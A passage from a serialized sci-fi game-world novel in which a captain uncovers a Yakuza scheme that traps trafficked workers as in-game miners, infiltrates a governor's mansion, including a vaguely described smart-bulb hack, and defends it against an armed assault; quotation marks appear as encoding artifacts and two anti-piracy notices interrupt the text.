have a constant family reunion every time you went to a marketplace. Unauthorized duplication: this narrative has been taken without consent. Report sightings. ¡°In space,¡± she continued, ¡°You avoid the circus show because no one really knows what happens out there. But on a planet, it¡¯s normally a shit show in an hour. These weren¡¯t tweakers or drug addicts, that was a well-planned, well-manned operation. Someone should know who those people are. Yet all we have is silence.¡± ¡°Well,¡± Mark said, thinking about it, ¡°If it¡¯s a cult, that could make sense. Part of most cults involve cutting off communications with family members, being reborn or taking on a new name and other such practices. Their family members might have assumed they were dead for a long time.¡± ¡°Maybe,¡± she said thinking about it, ¡°but the bodies were identified with DNA, so even under those conditions, someone still should have come forward. Everything feels off. I¡¯ve sent all the DNA off to get matches in our database, but everything is coming up blank. It¡¯s like these people just arrived from some other galaxy that¡¯s completely off our radar and that Earth has no idea about.¡± ¡°You think maybe that¡¯s what we stumbled upon?¡± he asked. ¡°What if the outer federations have started setting up planets we don¡¯t know about? They could gather a larger force than Earth would expect, possibly setting up a rebellion. That might be why they killed everyone and look like fanatics, they might think of themselves as patriots.¡± She thought about that for a minute. ¡°Possible, but that¡¯s hard to swallow. We have IIO offices set up all over the place. We also perform census, track material shipments, and more. Even the policy of letting fleets make money on the side for personal projects is part of that calculation. They look at what shipments are being made, what prices their sold at, and extrapolate population size and sustainability based on that. All of the pencil necks at the War College run these scenarios. They¡¯d basically need a way to create a bunch of new humans instantly and then gather up an immense amount of supplies.¡± The last part of her sentence hit him. Normally, you were assigned to Earth when you created a new avatar to get you used to the life and rules of the new World. But you didn¡¯t have to pick Earth. If a large group of players chose one of the other planets, they could simply respawn with a new avatar and start right back where they left off. ¡°Thanks for the AAR Captain,¡± he said, ¡°I need to check on our guest and make sure everything is ok. I¡¯m adding this event to everyone¡¯s combat records, but holding off on the official ceremony until we have something more concrete. Celebrating this feels wrong, but I think we¡¯ve made major progress.¡± He left the Captain¡¯s room and went into his chamber. He set up all the white noise and obfuscation equipment in his room, then called for the Doctor to bring in the escapee. She came into his chambers and sat down on his Captain¡¯s chair. She looked around at his computer, holodeck, medals and certificates, trying to get herself in a calm state of mind. He didn¡¯t press her since he knew that getting her comfortable to talk is the first step towards opening up. ¡°Hello Ma¡¯am,¡± he said, in a placating manner. ¡°My name is Captain Mark Thomas. You are on the unfortunately named Void Terror, and I¡¯m the commander of this ship. You met Captain Luciana Smith as well, she¡¯s the commander of another ship, the Calrusian. May I get you anything to drink or eat?¡± She shook her head no. She didn¡¯t make eye contact with him. ¡°Can you tell me what happened that lead to the situation we found you in?¡± he asked. She shook her head. ¡°You won¡¯t believe me,¡± she said, sounding both sad and resigned, ¡°No one did.¡± ¡°Well, that¡¯s because I have a feeling you are a player character. Are you?¡± She looked at him. ¡°You know?¡± He nodded. ¡°Yes, but so far as I can tell, I¡¯m the only PC aboard this ship. This game doesn¡¯t clearly mark whether you¡¯re dealing with a player or a NPC, so you have to kind of guess. Usually, the rule is that the more customized a person is in their facial appearance, the more likely they¡¯re a PC. But you have what looks like a standard build.¡± ¡°Yes,¡± she replies, ¡°We don¡¯t get to pick our builds or where we arrive at. It¡¯s all preprogrammed whenever we log in.¡± ¡°How¡¯d you get into this? And can you guess how many other people are involved?¡± She shrugged at the last question. ¡°I met a recruiter in our village in Korea. There¡¯s not a lot of jobs, but the recruiter told my Mom and I that I could get a job working as a ¡®gold farmer¡¯ in a virtual game. We didn¡¯t really understand it much, but he said they would provide the gear, and so long as I played the game, they would deduct a portion for expenses and send the rest to me. Everything seemed fine.¡± ¡°But then, they had us board a plane that they didn¡¯t disclose the location of. I had no passport for that flight. The plane was full, so maybe four hundred of us were on that flight, men, women, and children. They put us in a big building full of these chambers with liquid gel in it, and that logged us into the game. We are all miners, they send us out to the asteroid belts or other dangerous regions to do the mining. If we die, we just get a new character and go back to doing the same thing.¡± Mark thought about it. This meant the worst case scenario was true, there was a coordinated effort by a group in-game to lead a rebellion against Earth. More important, there was a group on Earth that had to have the same plan. The cryptocurrency angle made the most sense. Players could be anything, including miners. But since that character would probably die quickly, it wasn¡¯t worth it for most people looking to have fun. And you couldn¡¯t transfer money between your player accounts. But it did make earning cryptos a lot easier, since your crypto currency was matched by your value produced in game. If someone could capture that, they¡¯d be earning a fortune off the game, even if the individual sums may not add up to much. ¡°Okay,¡± he decided, ¡°You can¡¯t tell this to anyone here because unless they¡¯re a PC, they¡¯re going to think you¡¯re crazy. Your cover story, which you shouldn¡¯t volunteer unless there¡¯s a very compelling reason, is that the group that kidnapped you is grabbing people from planets and using them to perform dangerous mining operations against their will. They copy those people¡¯s DNA and memories into a rebirth facility, and when you die, bring you back to life and restart the process. That clear?¡± She nodded. ¡°They can¡¯t forcefully eject you from a Proxima World, thankfully, so they¡¯ll have to kill you in game. I could drop you off at one of our facilities for protection, but we don¡¯t know how deep this rabbit hole goes. We¡¯re just getting the outline of the problem. If you choose to stay, we¡¯ll assign you a bunk and you¡¯ll start training with us. Did you assign your points? They can¡¯t do that on the load out screen, you have to do it in game. Also, what¡¯s your name? Don¡¯t use your real name as that will make it too easy to find you,¡± Mark inwardly winced at that last part, since he was using his real name. Rookie move ace, rookie move. ¡°My name will be Chon Seo-Hee. And I don¡¯t know how to allocate points.¡± He walked her through the process of allocating points. She didn¡¯t want to be a space Marine or a combat pilot, but she did seem interested in learning finance. Unfortunately, only the person could assign points and there was no way to verify that that everything went through, as the game kept those details under wraps to prevent cheating. ¡°Your build,¡± he said, ¡°Will maximize build assets towards finance and trade, but you won¡¯t have any combat skills. This will make you an asset to us, but if anything gets hairy, run to cover or find the Marines, don¡¯t try to be a hero. Got it?¡± She nodded. He told her to put her disadvantages into chummy, code of honor (professional), duty (to employer), honesty, pacifism (reluctant killer), post-combat shakes, stubbornness, and workaholic. She objected that some of those disadvantages really seemed to favor Mark over her, so he told her to take stubbornness and code of honor as a way to get out of some of the loyalty based disadvantages if she didn¡¯t agree with one of his orders. That seemed to pacify her. He could have gone hardcore with making her completely unable to kill, but he didn¡¯t want to do that if it came down a last resort. Getting those disadvantages would make her noxious if she had to kill, but if she took something like sight of blood phobia, she might have a hard time functioning on the ship. Likewise if she took full pacifism, the game wouldn¡¯t let her kill anyone. She¡¯d be sick if she had to kill someone, but she could do it. Her advantages were all based towards finance and good manners. Business acumen, courtesy, cultural adaptability, lightning calculator, serendipity, high-status professional, and versatile. Her primary skills were level 1 administration, level 4 accounting, level 4 current affairs in business, level 4 in finance, level 4 in trade law, level 3 in market analysis, and level 8 merchant. Her secondary skills were level 2 in leadership, level 2 in space procedures, level 1 in operations, and level 4 in forgery. Mark thought the last was important as the more they dealt with disreputable people, the more likely they would get fake goods. She took a second to get readjusted, the after-effects of getting a large dose of back history added your character as you pick skills, and Mark called in Sergeant Fabrizio Bamburak, one of his engineers. The middle aged man appeared in his room a few minutes later and gave a quick salute, which Mark returned. ¡°Sergeant,¡± Mark said, ¡°Escort this lady across the ship, explain procedures for what to do if we¡¯re boarded, emergency evacuations, the full drill. I¡¯ll relay this order down the chain, but she¡¯s to be considered a high priority asset. Get an honor guard of Marines to follow her, a single battle-buddy system on rotation should be fine. She¡¯ll be cross-training with you and the engineering department, except when we do demo drills. Are your orders understood?¡± ¡°Yes sir,¡± the Sergeant responded, snapping another quick salute that Mark returned. ¡°Dismissed,¡± Mark said, as he dropped his own salute, the Sergeant soon following. After they left, he locked his doors and set up security protocols, then made another call to Colonel Christopher Grohall. In a few moments, the man¡¯s stern visage looked at Mark. Mark saluted and went through the normal military routine, then outlined all of his findings and the concocted story that he¡¯d given Chon. ¡°That¡¯s impossible,¡± the Colonel interjected, ¡°You can¡¯t easily rebuild bodies from rebirther facilities. Everyone knows that.¡± ¡°Yes sir,¡± Mark replied, ¡°Except they¡¯re smart about it. Normally, people try to birth themselves into super bodies, big muscles and tall, or busty and beautiful. But it doesn¡¯t match their neural programming, so they have to relearn everything from scratch. But imagine instead you had a very basic template. Each person receives that same template, and when they die, they just modify it slightly. So you can still move around, but can¡¯t quite wink or wiggle your eyebrows.¡± The Colonel thought about it before slowly nodding. ¡°I¡¯m upgrading your status to official black ops. You¡¯ll have access to funds appropriated for this mission. Do not get too spend-happy,¡± he said, an edge of warning in his tone, ¡°Because you¡¯ll have to account for every credit when this mission ends. Understood?¡± ¡°Understood sir. Out.¡± He saluted as the Colonel returned his salute, and then the video feed ended. His quest notification displayed a new alert.
Sanctioned Mission: Quest update
You have found a witness to a possible interplanetary revolt against the ruling body of Earth. You managed to save one hostage and no one on your team died. Unfortunately, you did not preserve the rest of the hostages. 10 points awarded for performance. You now have 29 points to allocate.
Holed-up Shateigashira Akihiko Watanabe felt a cold sweat come over him as he logged out of Eternity Online. He wiped at his face with a rag, removing the sweat from his brow. It wouldn¡¯t do for the Shatei of the Yakuza to see him in such a state. Failure for such as his brought the possibility of Yubizume, removing his little finger, as the lesser punishment. A stronger possibility was the oyabun would require him to commit seppuka or else face immediate execution. He called in his underling, Shateigashira-hosa Shin Saito, into his office. He composed himself into the steely boss of a criminal organization, putting away his rag and straightening out his blacks suit and white long-sleeved shirt to reflect the august appearance of a modern criminal. He put his portly face into a scowl. He was in his fifties, and his still black curly hair receded into a widow¡¯s peak. Shin walked into the room and made a deep formal bow, holding it in position. ¡°You failed me,¡± Akihiko said, trying to make his voice into a rumbling growl. ¡°We were supposed to kill any of our prisoners in the game! Now, we have one free. What does she know?¡± ¡°She knows nothing of our overall operation sir,¡± Shin replied, face still downward to the ground. ¡°We have always taken precautions to make sure that no one knows anything they are not supposed to.¡± ¡°Might I make a suggestion, sir?¡± he continued, ¡°That we simply find the person in their pod and execute them?¡± ¡°No,¡± Akihiko grumbled. ¡°There¡¯s a high chance she will simply become a Reborn Player Character, and we will lose a source of income as well as not accomplishing anything. Do you have a picture of the man we shot at?¡± Shin pulled out his tablet and handed it to his boss. Mark¡¯s picture in the game as seen through the sniper scope appeared. When Akihiko flipped to the next screen, it showed Luciana as she pulled the trigger on the assassin. Another swipe showed a picture of Chon. He tapped his finger on the picture. ¡°Do we have her old name?¡± Akihiko asked. ¡°No sir,¡± Shin replied, ¡°We have everyone on a rotating cycle. As soon as they die, they get reloaded back into the game with a random name generator and build. It would be very inefficient to keep track of all the people individually.¡± As with most companies facing the choice between doing things right or doing things in the easiest way, the Yakuza fell on the ¡°easy¡± side of the equation. ¡°We could have used that to track her down. No matter, these two are the real targets,¡± Ikihiko said, swiping back and forth between the pictures of Mark and Luciana. ¡°Spread these images out to all of our men. We don¡¯t know if they¡¯re PCs or NPCs, but we should keep a lookout in any case.¡± ¡°Get all of our men to take missions with the Federation so we can begin leveling them up and get them ready for other missions. Start keeping track of our assets better, as you¡¯re supposed to. Dismissed.¡± Shin finally got up from his long bow and left the room. Akihiko went back to freaking out. He couldn¡¯t expect to hide this from the Oyobun forever, and knew that eventually, it would reach him and his accursed wife. If he didn¡¯t have the situation under control by then, he was a dead man. Mark finished filing for Chon¡¯s new identity under witness protection. With her upgrades into financing and the game¡¯s prebuilt backstory, hiding her wouldn¡¯t be much of an issue. The governor¡¯s request to see them had been upgraded to ¡°Very Urgent¡±, so he planned on meeting the governor with Luciana and Vidal in tow. His afternoon consisted of beating the Marines, four out of five times, in virtual combat scenarios. The new pads installed on the Void Terror gave it the ability to move in place like a treadmill on segments of area, as well as adjust height like a stair stepper. Even though the person in the training area was only moving in place, the visor helmet kept track of the person¡¯s steps and proximity to teammates and other combatives. Using EVE to keep track of where the enemies were in the battlefield, it easy to flank and outmaneuver them. Unfortunately, he couldn¡¯t deal with a Marine in a head-on combat position, so if it came down to a shootout, he lost. He upgraded his small arms combat skill to level three, and his total character points down to sixteen, which put him on more even footing against them, even if he wasn¡¯t at a Marine¡¯s combat level yet. After the simulated drill, 1SG Vidal Roger came over to him. ¡°Never seen such good ground tactics from a wing nut before,¡± the nickname Marines usually gave to military personnel that flew missions. ¡°I can see why you have such a reputation amongst your people. Hooah Captain.¡± Mark was glad that his performance seemed to energize the Marines, even if it was a cheap trick. He¡¯d still leave Luciana to most of the ground tactics and fighting strategies if it came down to it. She was out getting supplies for their next mission run. It might be a bust, but Mark wanted to make sure that everything went smoothly. He showered and dressed into his finest civilian clothing, as did Luciana and Vidal. He didn¡¯t trust the Governor, as it seemed too coincidental that those containers entered on board the planet, despite the fact that he and his crew went through extensive clearance at their entrance to the space port. It was possible, theoretically, that there was another docking port somewhere that was used to make a landing, but this was a full-scale inhabited planet with satellites, tracking radars, and intercontinental ballistic missiles. Any unauthorized entry would quickly be either shot down or tracked. Anti-radar cloaking was a possibility, and the operation he saw could support that sort of expensive equipment, but it seemed far easier to simply bribe a few officials and have them turn a blind eye than it did to run a separate space docking facility, pull in everyone under anti-radar and cloaking schemes, and then offload all of the equipment. Too many variables in the that scenario. Mark then put on his over-garments, a multispectral chameleon skin full body suit. When you didn¡¯t activate the cloaking capabilities, it looked like whatever the garments underneath were. Once you activated it, it blended into the background. It did have a major disadvantage, and that was camouflage broke up when you moved around in it as the suit adjusted to its new surroundings, but overall, the suit worked marvelously. He called in the Marines to the briefing room. ¡°Listen up everyone. We¡¯re going to move in ten teams of four. Each team will be given a pre-loaded van or truck.¡± Some of the Marines started grumbling. Not surprisingly, the Marines wanted to use their souped up ATVs, but that was way too conspicuous. ¡°You will be stationed at different waypoints along the route to the governor¡¯s mansion. If there¡¯s going to be an attack, it will probably not be while we¡¯re on the way to the mansion. Almost certainly, it will be on our way back. Your job will be to catalogue each of the vehicles behind us. Captain Smith and 1SG Roger will go in one set of vehicles, I will go in another. PFC Preuss will be performing guard duty in my vehicle again, outstanding work last time around.¡± The Private beamed. Usually if you were recognized as a lower enlisted, it wasn¡¯t for good reasons. ¡°If the same vehicle appears in more than two call points, call it in. After we egress, each team will fall in behind us. If we get into a fight, try to quarantine the fight zone or use non-lethal ammo. Switch to lethal ammo if the situation requires it, however. Questions?¡± No one raised their hands. The Marines fell out into their vehicles. Vidal and Luciana walked up to Mark. ¡°We¡¯re getting there very early. The invitation was for 1900 hours.¡± Vidal remarked. ¡°Yes,¡± Mark said, ¡°But if the governor is part of this conspiracy, that would give him time to set up his ambush. If we get there early, that means that the governor will either have to hold us there for several hours or they¡¯ll have to move fast, which means they¡¯ll move sloppy. If he¡¯s not part of the conspiracy, he¡¯ll be mildly annoyed at us.¡± Mark saw a notification appear that his disadvantages of ¡°Lazy¡± and ¡°Jealousy¡± had been removed. He still had his ¡°cheater¡± disadvantage, so he guessed the game wasn¡¯t going to let him go just yet. Both wore their ceremonial vibroblade and blasters at their side, Luciana wore a black pantsuit with cylindrical high heels. When she clicked them together, they became running shoes. Vidal wore a vibrant blue suit with a frilly white undershirt and blue suede shoes. Focusing on the shirt revealed the technical name, ¡°Bellamy shirt¡±. Mark doubted many people could pull off the look, but the muscular gargoyle looked at home in it, and no one with an ounce of intellect was going to call out the man for his fashion sense. The plan was for the two of them to stall the governor while Mark swept his place. He attached his web gear and hooked up all of his sensors from last time. They parked the vehicle a good thousand yards from the Governor¡¯s mansion. ¡°Everyone, check in,¡± Mark said. Each time responded that they were in position and that no one tailed Mark. He first deployed the bug drones to the Governor¡¯s mansion. Despite the obvious wealth, there were no real security measures outside from the fence that barred the entrance and the guard station leading the way in. Mark raced to the perimeter of the fence, blending into the background scenery. The car holding Vidal and Luciana pulled up, and Mark used an electromagnetic autograpnel to shoot over the twenty foot barrier and pull himself up and over. Not getting his suit cut up was the hardest part, as he rappelled down the opposite side into the court yard. The bug drones showed him the main power circuit to the house, and he set up an explosive limpet mine there. If the governor was clean, they¡¯d pull it on the way out. But if guests were coming, they¡¯d cut the power to the house first, and he wanted to have a surprise waiting for them if they did. The next task was breaking into the communication system in the house. Mark decided to bring his communication surveillance skill up to level 4, and after the memories passed, he went to work using his communication and programming skills to hack the wireless system. The hack was vastly easier. The entire house was wired into each other, but some of the firmware hadn¡¯t been updated against known attacks. Because, who the hell updated their firmware? In particular, a group of smart bulbs in the house communicated on the same wifi password as the rest of the house. Each smart bulb came hardwired with the same cryptographic key. Using that key, Mark obtained sysadmin access to the bulb, and logged onto the built-in server each bulb had. From there, he routed captured all traffic going through the system. He checked to make sure he could see through the droid kitchen staff that busily prepared food. The whole operation took ten minutes.The author''s narrative has been misappropriated; report any instances of this story on Amazon. Mark¡¯s last go around was to survey the house for points of entry and exit. Stairs, windows, doors, and any weak points that someone could simply charge through. He also noted a potential air assault point, though he didn¡¯t think anyone would try that, it always paid to jot those things down. With all that in place, he exited the house. The guard¡¯s tower temporarily had a frozen image of an empty courtyard while he rappelled his way to the outside, and made his way back to the van. He stripped off his chameleon suit and wore his regular attire. ¡°Okay Private, let¡¯s go in.¡± They made their way to the guard station yet again, and a quick eye scan revealed his identity and the private¡¯s. ¡°You can¡¯t go in,¡±the gate guard said to Private Preuss. He was an older, portly man. Probably well past retirement. ¡°He can and he will. Otherwise, I¡¯ll get the governor out here and explain the situation to him. Forcefully.¡± Mark said, meeting the guard¡¯s gaze. ¡°You¡¯re call if this becomes a diplomatic crisis.¡± The guard sighed and hit his data pad. ¡°Sir, Captain Smith is here to see you with a Private Preuss. Is the private authorized?¡± ¡°Just let him in,¡± the governor said. Mark smiled at the guard, who released the magnetic locks and let them into the main courtyard. It was only a few cars in a parking lot, presumably the governor¡¯s, Luciana and Vidal¡¯s, his, and a few other cars, probably belonging to security. He got out the car and went inside. He saw Luciana and Vidal being entertained by the governor, which seemed to mean reciting a history of past governor¡¯s as he went over their official portraits. Luciana and Vidal glared daggers at him, presumably upset that he left them alone with the governor for nearly an hour, but he shrugged. ¡°Ah, you finally arrived. Hope nothing too important came up?¡± the governor asked him. The governor was a wire-thin man, with a single patch of bald hair at the back of his head, and the tan skin of most of the people on the planet. There were only four guards in the entire mansion, each looking at their ceremonial weapons suspiciously. ¡°Just typical administration stuff, filling in every detail in triplicate detail. Nothing to worry about. Also, your men can stop eyeballing us so hard. These weapons are for show.¡± He pulled out his vibroblade and showed them that the C cell battery wasn¡¯t in it. ¡°So we can¡¯t attack you with these, same with the laser gun. These are strictly for pomp and ceremony.¡± He pulled it out for inspection, very slowly, to show the guards that there was nothing in it. They seemed to relax a little bit. ¡°Well, let¡¯s have dinner then, and we can discuss the activities that took place a few nights ago.¡± The dinner was fully cooked meal of butter-poached scallops on celeriac pur¨¦e with meyer lemon nage and lemon confit. Like all fancy meals, what that actually translated into is ¡°very small portions of expensive stuff.¡± For Mark, who didn¡¯t have a huge appetite, this probably wasn¡¯t a problem, but his illustriously coiffed first sergeant was surely in for disappointment. Sauvignon blanc was served the wine pairing with the food. Each member of his team slid a portion of the food under the table and scanned it. Food and drink could contain nano tracers, nerve poisons, or even a parasite worm. Or just plain old salmonella. Even though their host was eating and drinking what looked like the same thing, the discrete nature of the food and the possibility for poisoning the individual equipment made it a precaution. Fortunately, no one had anything they didn¡¯t expect with their food. ¡°So,¡± the governor began, ¡°the raid in the warehouse. How did you find out about it?¡± ¡°Part of an ongoing investigation,¡± Mark said, ¡°Even though we didn¡¯t expect to find anything here, space pirates have been able to access weapons that are higher quality than something you could whip together with a fabricator. Not unless you had a weapons engineer on board the ship, and the exact right materials, which seemed unlikely to the IIO.¡± ¡°I see,¡± the governor said, ¡°But why here exactly?¡± ¡°Intel gathered through Vidal there,¡± he gestured with his fork, ¡°He was part of a bounty hunter group that looked for runaways. He said there was a big shipment of weapons going down and wanted to collect a reward on it. We thought he and his crew did such an admirable job we hired them full-time.¡± ¡°Nothing else but weapons then? How do you know these weren¡¯t manufactured?¡± ¡°The sighting crystals and lasers. They have to be individually calibrated and built, and the materials aren¡¯t cheap. When you do this by mass manufacturer, they don¡¯t hold up well. A few shots go the wrong direction or the whole thing blows up. That¡¯s one reason why space pirates still use the old projectile style weapons of yesteryear. So when we find lots of laser weapons, well, we get very curious.¡± ¡°One of our curiosities,¡± Mark continued, ¡°Is that there seems to be a strict procedure for having items scanned on arrival. We underwent it with our clearance levels. Yet somehow, several of these weapons made it onto your planet. Have you been investigating this?¡± The governor chewed on his scallop and swallowed, then replied, ¡°Yes, I¡¯ve been very concerned. I¡¯ve had my police chief go through the records for how these men arrived, but they don¡¯t show up on any official records or docks.¡± ¡°So you just have a mysterious sieve in your planetary docking procedures?¡± Mark asked. ¡°Do we need to conduct a full-scale audit to find out where, perhaps, this sieve is located?¡± The governor had a flash of anger, then returned to his usual composure. ¡°We don¡¯t need the IIO crawling all over our affairs. It¡¯s being handled internally. We¡¯ll find out how smugglers are getting on our planet and stop them. I just find it¡­ miraculous that you were able to find all this information out so quickly.¡± ¡°That¡¯s me,¡± Mark said, with a grin, ¡°I¡¯m the miracle man. Rainbow and sunshine everywhere I go.¡± The governor took out his data pad and looked at it. ¡°I¡¯m sorry, but I have an important call to take. We¡¯ll be bringing out dessert in a minute. Macaroons and Plum Clafouti.¡± He walked out of the room, typing into his data pad. Vidal gave Mark a quizzical look and he clarified, ¡°Cookies and pie.¡± ¡°Hope it¡¯s more than what they gave us for dinner,¡± the first sergeant replied glumly. ¡°That barely qualified as dinner mints.¡± ¡°When this is over, I¡¯ll stop and get you whatever you want,¡± Luciana assured him. That seemed to brighten his spirits. EVE showcased the conversation in his combat contacts. ¡°They¡¯re here. Eating.¡± ¡°Good, keep them there. Can you poison them?¡± ¡°WHAT? No. There wouldn¡¯t be much of an investigation if they were just found poisoned in my house!¡± Mark gave the signal to his team. It was time to get ready. Luciana excused herself. ¡°I need to go to the ladies room.¡± She went up to one of the guards and asked him, ¡°Can you please show me where the ladies room is?¡± She held out her arm like she expected an escort. The guard nearest her took her arm and walked her down to the bathroom. Mark saw the messages keep streaming by. ¡°Well, maybe just something to slow them down, not kill them.¡± ¡°No. This is your mess. You take them out. Leave me out of this. You said there would be no evidence leading back to me. So you deal with it.¡± Luciana pulled out a modified hyperdermic needle gun from her pistol. It didn¡¯t have the battery crystal of the laser, true, but the compressed air could shoot up to fifty yards. She shot it into her guard, caught him as he fell, and dragged him into the bathroom. One down. ¡°Okay, you stall them. We¡¯ll be arriving in thirty minutes. Give them lots of alcohol, lots of food. That¡¯ll slow them down. Can you at least pull your weight that much?¡± ¡°What do you mean we¡¯ll be there in thirty minutes? You can¡¯t shoot down this place, there¡¯s priceless paintings on the wall for God¡¯s sake!¡± Vidal¡¯s approach was decisively less subtle. He walked up to the first guard he saw and punched him square in the chin. The guard¡¯s legs turned to rubber and while he was falling down, Vidal pulled out his hypodermic needle gun and shot the guard nearest him. Before Mark could even finish moving, Vidal continued his turn and finished off the third guard. Three seconds from start to finish. Mark hated to think what Vidal would move like if he had an implant like his. His data pad continued the feed from his unknown assailants and . ¡°The painting or your ass. Which is worth more to you? If we ambush them at your house, it makes it look like we were actually trying to kill you. You¡¯ll win reelection easily, everyone loves a sympathetic story. Go upstairs, you must have a panic room in there, lock yourself in with your guards, and we¡¯ll wipe out the ground floor. Quick strikes, in and out.¡± ¡°Give me some time to move the valuables upstairs.¡± ¡°Don¡¯t do it you idiot, that will tip them off. Just go upstairs and wait. After we¡¯ve left, call in the police.¡± ¡°What about my guard outside? He¡¯ll be killed in the ambush.¡± ¡°Collateral damage. Pay to have him revived if it means so much to you. Now go upstairs.¡± The governor put down his data pad and turned around. He found himself staring at a needle gun. ¡°Hi,¡± Mark said, before injecting the governor. The governor dropped down and Mark awkwardly caught him before he could hit his head on the ground. Luciana and Vidal handcuffed the guards they dropped and moved them upstairs. Mark first used a fingerprint scanner on the governor, then fireman carried him upstairs. ¡°Private Preuss,¡± he ordered, ¡°Dose the guard at the front gate, bring him inside with the vehicle, and open up the gates so our people can get in here.¡± Using the connected data feed, Mark found the panic room and opened it. It was inside the governor¡¯s main room. There were guns, water, food, and ammunition in there, but nothing compared to what they already had. They loaded the bodies in there. Twenty-five minutes remaining until contact. By his estimation, four of his team could get to the building before contact. ¡°Teams Alpha through Delta, make your way in. Echo through Juliet, quarantine the area so no innocents get caught in the crossfire. Setup a defensive perimeter so if any of them escape, we have them.¡± Vidal ran out to the van and pulled out gear and equipment, with Mark and Luciana following. Christopher Preuss ran in with the final guard while everyone else started scrambling with the gear. Inside were sets of reflex armor combined with bioplas covering. Bioplas is a thin, self-healing material that can absorb laser damage, provided that it has enough time to reseal the gap. They quickly put on their gear and synced up their helmets. The combat contacts were great, for what they were, but the enhanced systems operation from a full helmet couldn¡¯t be beat. They could see two teams approaching the gate, one truck and one van. ¡°After you extract your gear,¡± Mark ordered into the helmet, ¡°Park far away from the main entrance. We¡¯re going to give them a surprise when they enter.¡± While the other two teams were getting dressed and pulling out their gear, their squad, nicknamed Zulu, began barricading the windows with nanocarbon alloy shutters. A battering ram could knock it off the hinges, but it would probably hold against a hastily prepared crew scrambling to get there. The middle part could open up to allow a rifleman on the inside to fire outside. After the other team finished dressing, they did the same with the upstairs windows. It prevented both an easy point of entry and prevented anyone from simply throwing a molotov cocktail into the room and burning them out. Which would be a supremely terrible way to die. Delta and Echo arrived five minutes later. By Mark¡¯s calculation, they had maybe ten minutes until the assault began. Droid bugs hooked up into a neural network above all the fences, perched inside the deciduous tree leaves of the areas and sweeping the areas. Mark¡¯s final move was to move the governor¡¯s car in front of the house, and to move the guard¡¯s cars into other locations. If they attempted to ram through the gates, or to use those cars as cover, they were getting a nasty surprise. Looking through the tactical helmet, he could see that his people put up the mounted machine guns and set up reinforced deployable plating upstairs, giving them an egress route once the downstairs area became flooded with people. Ammo waypoints had also been established along their egress routes, along with command detonation limpet mines. They were as prepared as they could be for the assault. War Zone The bug drones showed movement coming in their way. There were two ways to do an assault, noisy or quiet. These guys were noisy. They drove an armored ATV into the magnetic fence, trying to rip apart the hinges. But it didn¡¯t work, as the steel poles were too deep in the ground to simply smash through, even with a massive vehicle. Failing that, they hopped out of the vehicle and climbed on top of the hood, climbing their way over the fence. Vidal opened up his nano carbon alloy shutter enough that he could sight through his laser sniping rifle. The opening was only enough so that he could steady his rifle barrel on top of the opening and look outside the window. He held his breath and slow squeezed his shot. One of the idiots on top of the vehicle started throwing gear over the fence. Vidal¡¯s shot ripped right through the man¡¯s midsection, leaving a scorching hole in him that knocked him off the vehicle and onto the ground. Other Marines began shooting into the incoming attackers, some just shot the gear that had been thrown over, effectively destroying it. Vidal peppered the vehicle with shots as it backed up and drove off, but a heavy armored vehicle wouldn¡¯t be easily damaged by regular rifle fire. Five dead bodies lay outside the gate, steam rising up from where they¡¯d been torn apart. That had been very easy. ¡°They¡¯re all just hovering together at the intersections,¡± a male voice said over the helmet comms, ¡°I think they¡¯re regrouping.¡± After a few agonizing minutes, waiting around and peering through his scope, Vidal saw waves of vehicles coming in fast and lining up around the perimeter of the fence, at least two dozen from what Vidal could see. Each vehicle could seat up to ten people, which meant a possible force of over two hundred and forty people were about to come their way. When these people stepped out, they were in full heavy combat armor. Rather than throwing their gear over the fence and then jumping over, these attackers had their weapons strapped over their back so they could move freely with their hands. The Marines opened fire on the advanced units, but the heavy armor could take several shots before it began to crumble under pressure. A few of the more enterprising attackers picked up the bodies of their dead or fallen comrades and used them as shields, a move which reminded Vidal of why snipers shot people in the back of formation, not the front. ¡°More hostiles are in bound. We count five ATVs heading your way,¡± a voice called over the radio. Vidal winced, but then received even more bad news, ¡°Five more on another side,¡± another voice said. A hundred reinforcements. The Marines switched to firing off grenades when the enemy switched to using dead bodies as cover, blowing gigantic holes in the lawn as body parts, dirt clouds, and blood mists began to litter the area and obscure the Marines vision. The ones who ran through the killing fields hugged the walls of the mansion, too close for the Marines to shoot or to effectively hit with grenades. Without any battering ram or other equipment, they didn¡¯t have any way to breach the mansion. A few of the dumber ones ran back to their vehicles, only to get picked off again by Marines. ¡°Any more inbound?¡± Captain Smith asked over the comms. ¡°Clear on the north side,¡± said the first voice. ¡°Clear on the south side,¡± said the second voice. ¡°Clear on the east side,¡± another voice called out. ¡°Clear on the west side,¡± another voice rang out. ¡°There¡¯s too many of them, we need reinforcements. Echo through Hotel, advance and close off the attackers,¡± Captain Smith¡¯s voice went through the comms. ¡°Indigo and Juliet, keep lookout for anyone trying to join afterwards, go to north side and south side positions, that gives the best vantage point. Bug drones will watch on the east and west. Attack immediately if reinforcements arrive, hit hard and fast, but move out. They have better armor in their vehicles than we do.¡± Some of the smarter ones began walking back from the house and shooting up into the nano carbon shutters. This suppressive fire kept the Marines from shooting at the rest of incoming force. Vidal had no idea how many of them were left out there, but he guessed it was at least a hundred. The sustained gunfire into the house made patches of wall disappear, melted away or blown apart. ¡°Abandon the windows. Everyone, fall back to the portable bunkers,¡± Captain Smith¡¯s voice called out over the comms. The portable bunkers were heavy reinforced covers with hydraulic bolts that slammed into the ground, providing protection against heavy attacks like grenade and mortar attacks. With openings now available, the attackers would soon begin hurling grenades and shooting rockets through the opening. Vidal and his soldiers retreated back into the portable bunkers, sealing them up and sticking their weapons through the gun holes. Each bunker could hold four people in it, giving a full sweep of firing lanes. Vidal hated being trapped in there, even with the 360 perimeter his men provided, he felt like he was a sitting duck. He wanted to be in the thick of things, but knew that was a great way to die when things got hot. The other Marines were still closing in on them, the goal was to form a pincer attack that left the attackers stranded in the middle of an open field. He hoped that the attackers were as tactically clueless as they appeared. If they had another contingent nearby, they could enclose the incoming Marines and pinch them instead. They had nineteen people on the inside, sixteen people arriving as backup, and they were against a group that had triple those numbers. Rockets and grenades started peppering the house, explosions rocketing the building and vibrating through the ground. The house was built with marble, reinforced steel, and magnetic plates. Fires started catching in different areas. When they did, the house would start spraying foam into the fire and smother it, but as more pieces of the house were blown apart, the security systems started failing. One of the assaulters tried cutting off the power to the house, only to get blasted by the prepared claymore charge that had been setup. The houses power shut off and Vidal¡¯s helmet immediately switched over to ultra sensory mode. He could still see, but now the fires were free to spread wherever they wanted. Sections of the ceiling started falling off in huge blocks, hitting some of the portable bunkers and pinning them shut. It wouldn¡¯t kill the Marines inside, but being trapped in a tiny bunker for hours until a rescue crew could cut them out was a terrible way to spend the day, and it further reduced their fighting 